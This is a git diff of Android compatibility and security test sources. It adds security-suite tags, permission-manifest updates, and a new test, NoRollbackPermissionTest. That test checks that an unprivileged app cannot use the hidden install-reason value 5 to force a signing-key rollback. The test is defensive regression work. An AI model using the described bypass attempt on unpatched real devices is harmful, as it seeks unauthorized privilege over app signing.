diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
index c683f24..8c47139 100644
--- a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -29,5 +29,6 @@
"arcts",
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp b/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
index dafd4e9..ec85832 100644
--- a/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
@@ -22,5 +22,6 @@
"arcts",
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index b00c9a6..4ee4b99 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -29,5 +29,6 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 008cd0e..453a994 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -35,6 +35,9 @@
"platformprotosnano",
"permission-test-util-lib",
"nativetesthelper",
+ // TODO(b/175251166): remove once Android migrates to JUnit 4.12,
+ // which provides assertThrows
+ "testng",
],
jni_libs: [
"libctspermission_jni",
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index a383144..dce4530 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -7,3 +7,4 @@
per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
per-file LocationAccessCheckTest.java = ntmyren@google.com
+per-file NoRollbackPermissionTest.java = mpgroover@google.com
diff --git a/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
new file mode 100644
index 0000000..50b84fa
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.pm.PackageInstaller;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "PackageInstaller cannot be accessed by instant apps")
+public class NoRollbackPermissionTest {
+ @Test
+ public void testCreateInstallSessionWithReasonRollbackFails() throws Exception {
+ // The INSTALL_REASON_ROLLBACK allows an APK to be rolled back to a previous signing key
+ // without setting the ROLLBACK capability in the lineage. Since only signature|privileged
+ // apps can hold the necessary permission to initiate a rollback ensure apps without this
+ // permission cannot set rollback as the install reason.
+ PackageInstaller packageInstaller =
+ InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+ .getPackageInstaller();
+ PackageInstaller.SessionParams parentParams = new PackageInstaller.SessionParams(
+ PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+ parentParams.setRequestDowngrade(true);
+ parentParams.setMultiPackage();
+ // The constant PackageManager.INSTALL_REASON_ROLLBACK is hidden from apps, but an app can
+ // still use its constant value.
+ parentParams.setInstallReason(5);
+ assertThrows(SecurityException.class, () -> packageInstaller.createSession(parentParams));
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index ce2fade..8661f2e 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -31,6 +31,7 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.res.Resources;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.SecurityTest;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
@@ -164,6 +165,7 @@
@SecurityTest
@Test
+ @AppModeFull
public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
installApp("CtsAppThatRequestsPermissionAandB");
diff --git a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
index 3e302a9..00d4b40 100644
--- a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
@@ -23,6 +23,7 @@
import android.app.UiAutomation
import android.content.Context
import android.content.pm.PackageManager
+import android.platform.test.annotations.AppModeFull
import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.SystemUtil
import org.junit.After
@@ -30,6 +31,7 @@
import org.junit.Before
import org.junit.Test
+@AppModeFull
class StorageEscalationTest {
companion object {
private const val APK_DIRECTORY = "/data/local/tmp/cts/permissions"
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 1f99f0c..25fb0ee 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -42,6 +42,9 @@
<protected-broadcast android:name="android.intent.action.PACKAGE_REMOVED" />
<protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_REMOVED" />
<protected-broadcast android:name="android.intent.action.PACKAGE_CHANGED" />
+ <protected-broadcast android:name="android.intent.action.PACKAGE_STARTABLE" />
+ <protected-broadcast android:name="android.intent.action.PACKAGE_UNSTARTABLE" />
+ <protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_LOADED" />
<protected-broadcast android:name="android.intent.action.PACKAGE_ENABLE_ROLLBACK" />
<protected-broadcast android:name="android.intent.action.CANCEL_ENABLE_ROLLBACK" />
<protected-broadcast android:name="android.intent.action.ROLLBACK_COMMITTED" />
@@ -96,7 +99,6 @@
<protected-broadcast android:name="android.intent.action.OVERLAY_PRIORITY_CHANGED" />
<protected-broadcast android:name="android.intent.action.MY_PACKAGE_SUSPENDED" />
<protected-broadcast android:name="android.intent.action.MY_PACKAGE_UNSUSPENDED" />
- <protected-broadcast android:name="android.intent.action.LOAD_DATA" />
<protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED" />
<protected-broadcast android:name="android.os.action.DEVICE_IDLE_MODE_CHANGED" />
@@ -108,6 +110,8 @@
<!-- @deprecated This is rarely used and will be phased out soon. -->
<protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
+ <protected-broadcast android:name="android.app.action.CLOSE_NOTIFICATION_HANDLER_PANEL" />
+
<protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
<protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
<protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
@@ -116,6 +120,12 @@
<protected-broadcast android:name="android.app.action.EXIT_DESK_MODE" />
<protected-broadcast android:name="android.app.action.NEXT_ALARM_CLOCK_CHANGED" />
+ <protected-broadcast android:name="android.app.action.USER_ADDED" />
+ <protected-broadcast android:name="android.app.action.USER_REMOVED" />
+ <protected-broadcast android:name="android.app.action.USER_STARTED" />
+ <protected-broadcast android:name="android.app.action.USER_STOPPED" />
+ <protected-broadcast android:name="android.app.action.USER_SWITCHED" />
+
<protected-broadcast android:name="android.app.action.BUGREPORT_SHARING_DECLINED" />
<protected-broadcast android:name="android.app.action.BUGREPORT_FAILED" />
<protected-broadcast android:name="android.app.action.BUGREPORT_SHARE" />
@@ -145,7 +155,7 @@
<protected-broadcast android:name="android.bluetooth.adapter.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.device.action.UUID" />
<protected-broadcast android:name="android.bluetooth.device.action.MAS_INSTANCE" />
- <protected-broadcast android:name="android.bluetooth.action.ALIAS_CHANGED" />
+ <protected-broadcast android:name="android.bluetooth.device.action.ALIAS_CHANGED" />
<protected-broadcast android:name="android.bluetooth.device.action.FOUND" />
<protected-broadcast android:name="android.bluetooth.device.action.CLASS_CHANGED" />
<protected-broadcast android:name="android.bluetooth.device.action.ACL_CONNECTED" />
@@ -229,12 +239,16 @@
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
+ <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_READ_STATUS_CHANGED" />
+ <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELETED_STATUS_CHANGED" />
<protected-broadcast
android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
<protected-broadcast
android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
<protected-broadcast
android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+ <protected-broadcast
+ android:name="android.bluetooth.action.TETHERING_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.pbapclient.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -265,6 +279,7 @@
<protected-broadcast android:name="android.hardware.usb.action.USB_PORT_CHANGED" />
<protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
<protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_DETACHED" />
+ <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_HANDSHAKE" />
<protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_ATTACHED" />
<protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_DETACHED" />
@@ -351,8 +366,9 @@
<protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_APP" />
<protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_APP" />
<protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISMISSED" />
- <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_CARRIER" />
- <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_CARRIER" />
+ <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_ALLOWED_CARRIER" />
+ <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISALLOWED_CARRIER" />
+ <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISMISSED" />
<protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.USER_DISMISSED_NOTIFICATION" />
<protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.CONNECT_TO_NETWORK" />
<protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_WIFI_NETWORK" />
@@ -399,6 +415,9 @@
<protected-broadcast android:name="android.intent.action.AIRPLANE_MODE" />
<protected-broadcast android:name="android.intent.action.ADVANCED_SETTINGS" />
<protected-broadcast android:name="android.intent.action.APPLICATION_RESTRICTIONS_CHANGED" />
+ <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+ <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+ <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
<!-- Legacy -->
<protected-broadcast android:name="android.intent.action.ACTION_IDLE_MAINTENANCE_START" />
@@ -520,8 +539,10 @@
<protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
<protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
<protected-broadcast android:name="com.android.settings.bluetooth.ACTION_DISMISS_PAIRING" />
+ <protected-broadcast android:name="com.android.settings.wifi.action.NETWORK_REQUEST" />
<protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
+ <protected-broadcast android:name="NotificationHistoryDatabase.CLEANUP" />
<protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
<protected-broadcast android:name="EventConditionProvider.EVALUATE" />
<protected-broadcast android:name="SnoozeHelper.EVALUATE" />
@@ -552,6 +573,7 @@
<protected-broadcast android:name="android.os.action.ACTION_EFFECTS_SUPPRESSOR_CHANGED" />
<protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED" />
<protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED" />
+ <protected-broadcast android:name="android.app.action.NOTIFICATION_LISTENER_ENABLED_CHANGED" />
<protected-broadcast android:name="android.app.action.APP_BLOCK_STATE_CHANGED" />
<protected-broadcast android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS" />
@@ -649,9 +671,16 @@
<protected-broadcast android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY" />
+ <!-- Added in R -->
+ <protected-broadcast android:name="android.app.action.RESET_PROTECTION_POLICY_CHANGED" />
+
<!-- For tether entitlement recheck-->
<protected-broadcast
android:name="com.android.server.connectivity.tethering.PROVISIONING_RECHECK_ALARM" />
+
+ <!-- Made protected in S (was added in R) -->
+ <protected-broadcast android:name="com.android.internal.intent.action.BUGREPORT_REQUESTED" />
+
<!-- ====================================================================== -->
<!-- RUNTIME PERMISSIONS -->
<!-- ====================================================================== -->
@@ -884,11 +913,11 @@
<p> This is a soft restricted permission which cannot be held by an app it its
full form until the installer on record whitelists the permission.
- Specifically, if the permission is whitelisted the holder app can access
+ Specifically, if the permission is allowlisted the holder app can access
external storage and the visual and aural media collections while if the
- permission is not whitelisted the holder app can only access to the visual
+ permission is not allowlisted the holder app can only access to the visual
and aural medial collections. Also the permission is immutably restricted
- meaning that the whitelist state can be specified only at install time and
+ meaning that the allowlist state can be specified only at install time and
cannot change until the app is installed. For more details see
{@link android.content.pm.PackageInstaller.SessionParams#setWhitelistedRestrictedPermissions(Set)}.
<p>Protection level: dangerous -->
@@ -912,7 +941,7 @@
read/write files in your application-specific directories returned by
{@link android.content.Context#getExternalFilesDir} and
{@link android.content.Context#getExternalCacheDir}.
- <p>If this permission is not whitelisted for an app that targets an API level before
+ <p>If this permission is not allowlisted for an app that targets an API level before
{@link android.os.Build.VERSION_CODES#Q} this permission cannot be granted to apps.</p>
<p>Protection level: dangerous</p>
-->
@@ -1184,8 +1213,10 @@
android:description="@string/permdesc_callCompanionApp"
android:protectionLevel="normal" />
- <!-- Exempt this uid from restrictions to background audio recording
+ <!-- Exempt this uid from restrictions to background audio recoding
<p>Protection level: signature|privileged
+ @hide
+ @SystemApi
-->
<permission android:name="android.permission.EXEMPT_FROM_AUDIO_RECORD_RESTRICTIONS"
android:label="@string/permlab_exemptFromAudioRecordRestrictions"
@@ -1317,13 +1348,13 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.BACKGROUND_CAMERA"
- android:permissionGroup="android.permission-group.UNDEFINED"
- android:label="@string/permlab_backgroundCamera"
- android:description="@string/permdesc_backgroundCamera"
- android:permissionFlags="hardRestricted|installerExemptIgnored"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.UNDEFINED"
+ android:label="@string/permlab_backgroundCamera"
+ android:description="@string/permdesc_backgroundCamera"
+ android:permissionFlags="hardRestricted|installerExemptIgnored"
+ android:protectionLevel="dangerous" />
- <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
+ <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
system only camera devices.
<p>Protection level: system|signature
@hide -->
@@ -1334,7 +1365,7 @@
android:protectionLevel="system|signature" />
<!-- Allows receiving the camera service notifications when a camera is opened
- (by a certain application package) or closed.
+ (by a certain application package) or closed.
@hide -->
<permission android:name="android.permission.CAMERA_OPEN_CLOSE_LISTENER"
android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1356,7 +1387,7 @@
android:priority="800" />
<!-- Allows an application to access data from sensors that the user uses to
- measure what is happening inside his/her body, such as heart rate.
+ measure what is happening inside their body, such as heart rate.
<p>Protection level: dangerous -->
<permission android:name="android.permission.BODY_SENSORS"
android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1561,12 +1592,30 @@
<permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
android:protectionLevel="signature|privileged" />
- <!-- @SystemApi @hide Allows an application to install a LocationTimeZoneProvider into the
- LocationTimeZoneProviderManager.
+ <!-- @SystemApi @hide Allows an application to provide location-based time zone suggestions to
+ the system server. This is needed because the system server discovers time zone providers
+ by exposed intent actions and metadata, without it any app could potentially register
+ itself as time zone provider. The system server checks for this permission.
<p>Not for use by third-party applications.
-->
- <permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER"
- android:protectionLevel="signature|privileged" />
+ <permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- The system server uses this permission to install a default secondary location time zone
+ provider.
+ -->
+ <uses-permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"/>
+
+ <!-- @SystemApi @hide Allows an application to bind to a android.service.TimeZoneProviderService
+ for the purpose of detecting the device's time zone. This prevents arbitrary clients
+ connecting to the time zone provider service. The system server checks that the provider's
+ intent service explicitly sets this permission via the android:permission attribute of the
+ service.
+ This is only expected to be possessed by the system server outside of tests.
+ <p>Not for use by third-party applications.
+ -->
+ <permission android:name="android.permission.BIND_TIME_ZONE_PROVIDER_SERVICE"
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
This should only be used by HDMI-CEC service.
@@ -1690,7 +1739,7 @@
<!-- Allows network stack services (Connectivity and Wifi) to coordinate
<p>Not for use by third-party or privileged applications.
- @SystemApi
+ @SystemApi @TestApi
@hide This should only be used by Connectivity and Wifi Services.
-->
<permission android:name="android.permission.NETWORK_STACK"
@@ -1710,7 +1759,7 @@
<!-- Allows Settings and SystemUI to call methods in Networking services
<p>Not for use by third-party or privileged applications.
- @SystemApi
+ @SystemApi @TestApi
@hide This should only be used by Settings and SystemUI.
-->
<permission android:name="android.permission.NETWORK_SETTINGS"
@@ -1788,14 +1837,14 @@
android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows system APK to update Wifi/Cellular coex channels to avoid.
- <p>Not for use by third-party applications. -->
+ <p>Not for use by third-party applications. -->
<permission android:name="android.permission.WIFI_UPDATE_COEX_UNSAFE_CHANNELS"
android:protectionLevel="signature" />
<!-- @SystemApi @hide Allows applications to access Wifi/Cellular coex channels being avoided.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WIFI_ACCESS_COEX_UNSAFE_CHANNELS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ======================================= -->
<!-- Permissions for short range, peripheral networks -->
@@ -1866,6 +1915,9 @@
android:protectionLevel="normal" />
<!-- @SystemApi Allows an internal user to use privileged SecureElement APIs.
+ Applications holding this permission can access OMAPI reset system API
+ and bypass OMAPI AccessControlEnforcer.
+ <p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.SECURE_ELEMENT_PRIVILEGED_OPERATION"
android:protectionLevel="signature|privileged" />
@@ -1976,6 +2028,10 @@
<permission android:name="android.permission.VIBRATE_ALWAYS_ON"
android:protectionLevel="signature" />
+ <!-- @SystemApi Allows access to the vibrator state.
+ <p>Protection level: signature
+ @hide
+ -->
<permission android:name="android.permission.ACCESS_VIBRATOR_STATE"
android:label="@string/permdesc_vibrator_state"
android:description="@string/permdesc_vibrator_state"
@@ -2172,18 +2228,25 @@
<permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
android:protectionLevel="signature|privileged" />
- <!-- @SystemApi Allows read access to privileged phone state.
+ <!-- @SystemApi @TestApi Allows read access to privileged phone state.
@hide Used internally. -->
<permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
android:protectionLevel="signature|privileged" />
+ <!-- Allows to read device identifiers and use ICC based authentication like EAP-AKA.
+ Often required in authentication to access the carrier's server and manage services
+ of the subscriber.
+ <p>Protection level: signature|appop -->
+ <permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER"
+ android:protectionLevel="signature|appop" />
+
<!-- @SystemApi Allows read access to emergency number information for ongoing calls or SMS
sessions.
@hide Used internally. -->
<permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows listen permission to always reported signal strength.
+ <!-- Allows listen permission to always reported signal strength.
@hide Used internally. -->
<permission android:name="android.permission.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH"
android:protectionLevel="signature" />
@@ -2215,7 +2278,7 @@
android:protectionLevel="signature|privileged" />
<!-- Allows to query ongoing call details and manage ongoing calls
- <p>Protection level: signature|appop -->
+ <p>Protection level: signature|appop -->
<permission android:name="android.permission.MANAGE_ONGOING_CALLS"
android:protectionLevel="signature|appop" />
@@ -2344,6 +2407,15 @@
<permission android:name="android.permission.READ_CARRIER_APP_INFO"
android:protectionLevel="signature" />
+ <!-- Must be required by an GbaService to ensure that only the
+ system can bind to it.
+ <p>Protection level: signature
+ @SystemApi
+ @hide
+ -->
+ <permission android:name="android.permission.BIND_GBA_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- ================================== -->
<!-- Permissions for sdcard interaction -->
<!-- ================================== -->
@@ -2473,7 +2545,7 @@
interact across profiles in the same profile group.
@hide -->
<permission android:name="android.permission.CONFIGURE_INTERACT_ACROSS_PROFILES"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
users on the device. This permission is not available to
@@ -2482,8 +2554,9 @@
android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to create, remove users and get the list of
- users on the device. Applications holding this permission can only create restricted,
- guest, managed, demo, and ephemeral users. For creating other kind of users,
+ users on the device. Applications holding this permission can create users (including
+ normal, restricted, guest, managed, and demo users) and can optionally endow them with the
+ ephemeral property. For creating users with other kinds of properties,
{@link android.Manifest.permission#MANAGE_USERS} is needed.
This permission is not available to third party applications. -->
<permission android:name="android.permission.CREATE_USERS"
@@ -2514,7 +2587,8 @@
<permission android:name="android.permission.REMOVE_TASKS"
android:protectionLevel="signature|documenter" />
- <!-- @Deprecated @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
+ <!-- @deprecated Use MANAGE_ACTIVITY_TASKS instead.
+ @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
android:protectionLevel="signature" />
@@ -2532,8 +2606,7 @@
<permission android:name="android.permission.START_ANY_ACTIVITY"
android:protectionLevel="signature" />
- <!-- Allows an application to start activities from background
- @hide -->
+ <!-- @SystemApi @hide Allows an application to start activities from background -->
<permission android:name="android.permission.START_ACTIVITIES_FROM_BACKGROUND"
android:protectionLevel="signature|privileged|vendorPrivileged|oem|verifier" />
@@ -2602,11 +2675,17 @@
The app can check whether it has this authorization by calling
{@link android.provider.Settings#canDrawOverlays
Settings.canDrawOverlays()}.
- <p>Protection level: signature|preinstalled|appop|pre23|development -->
+ <p>Protection level: signature|appop|preinstalled|pre23|development -->
<permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
android:label="@string/permlab_systemAlertWindow"
android:description="@string/permdesc_systemAlertWindow"
- android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+ android:protectionLevel="signature|appop|preinstalled|pre23|development" />
+
+ <!-- @SystemApi @hide Allows the holder to create privileged application overlays that can not
+ be hidden by other applications
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.SYSTEM_APPLICATION_OVERLAY"
+ android:protectionLevel="signature|wellbeing"/>
<!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
@hide
@@ -2663,11 +2742,11 @@
android:protectionLevel="signature|privileged" />
<!-- Allows an app to read and listen to projection state.
- @hide
- @SystemApi
- -->
+ @hide
+ @SystemApi
+ -->
<permission android:name="android.permission.READ_PROJECTION_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an app to set and release automotive projection.
<p>Once permissions can be granted via role-only, this needs to be changed to
@@ -2676,7 +2755,11 @@
@SystemApi
-->
<permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
+
+ <!-- Allows an app to prevent non-system-overlay windows from being drawn on top of it -->
+ <permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"
+ android:protectionLevel="normal" />
<!-- ================================== -->
<!-- Permissions affecting the system wallpaper -->
@@ -2743,7 +2826,7 @@
<!-- Allows applications like settings to manage configuration associated with automatic time
and time zone detection.
<p>Not for use by third-party applications.
- @hide
+ @SystemApi @hide
-->
<permission android:name="android.permission.MANAGE_TIME_AND_ZONE_DETECTION"
android:protectionLevel="signature|privileged" />
@@ -2863,7 +2946,7 @@
<permission android:name="android.permission.READ_DEVICE_CONFIG"
android:protectionLevel="signature|preinstalled" />
- <!-- @hide Allows an application to monitor config settings access.
+ <!-- @hide Allows an application to monitor {@link android.provider.Settings.Config} access.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.MONITOR_DEVICE_CONFIG_ACCESS"
android:protectionLevel="signature"/>
@@ -3014,7 +3097,7 @@
<!-- @SystemApi Allows an application to read system update info.
@hide -->
<permission android:name="android.permission.READ_SYSTEM_UPDATE_INFO"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows the system to bind to an application's task services
@hide -->
@@ -3069,6 +3152,11 @@
<permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to set, update and remove the credential management app.
+ @hide -->
+ <permission android:name="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP"
+ android:protectionLevel="signature" />
+
<!-- ========================================= -->
<!-- Permissions for special development tools -->
<!-- ========================================= -->
@@ -3166,8 +3254,8 @@
android:protectionLevel="signature" />
<!-- Allows an application to be the status bar. Currently used only by SystemUI.apk
- @hide -->
- // TODO: remove telephony once decouple settings activity from phone process
+ @hide
+ @SystemApi -->
<permission android:name="android.permission.STATUS_BAR_SERVICE"
android:protectionLevel="signature" />
@@ -3179,8 +3267,7 @@
<!-- Allows SystemUI to request third party controls.
<p>Should only be requested by the System and required by
- ControlsService declarations.
- @hide
+ {@link android.service.controls.ControlsProviderService} declarations.
-->
<permission android:name="android.permission.BIND_CONTROLS"
android:protectionLevel="signature" />
@@ -3233,6 +3320,7 @@
{@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
to hide non-system-overlay windows.
<p>Not for use by third-party applications.
+ @deprecated Use {@link android.Manifest.permission#HIDE_OVERLAY_WINDOWS} instead
@hide
-->
<permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
@@ -3505,14 +3593,6 @@
<permission android:name="android.permission.BIND_TEXTCLASSIFIER_SERVICE"
android:protectionLevel="signature" />
- <!-- Must be required by a android.service.musicrecognition.MusicRecognitionService,
- to ensure that only the system can bind to it.
- @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
- <p>Protection level: signature
- -->
- <permission android:name="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
- android:protectionLevel="signature" />
-
<!-- Must be required by a android.service.contentcapture.ContentCaptureService,
to ensure that only the system can bind to it.
@SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3521,6 +3601,14 @@
<permission android:name="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
android:protectionLevel="signature" />
+ <!-- Must be required by a android.service.translation.TranslationService,
+ to ensure that only the system can bind to it.
+ @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+ <p>Protection level: signature
+ -->
+ <permission android:name="android.permission.BIND_TRANSLATION_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- Must be required by a android.service.contentsuggestions.ContentSuggestionsService,
to ensure that only the system can bind to it.
@SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3529,6 +3617,14 @@
<permission android:name="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
android:protectionLevel="signature" />
+ <!-- Must be declared by a android.service.musicrecognition.MusicRecognitionService,
+ to ensure that only the system can bind to it.
+ @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+ <p>Protection level: signature
+ -->
+ <permission android:name="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- Must be required by a android.service.autofill.augmented.AugmentedAutofillService,
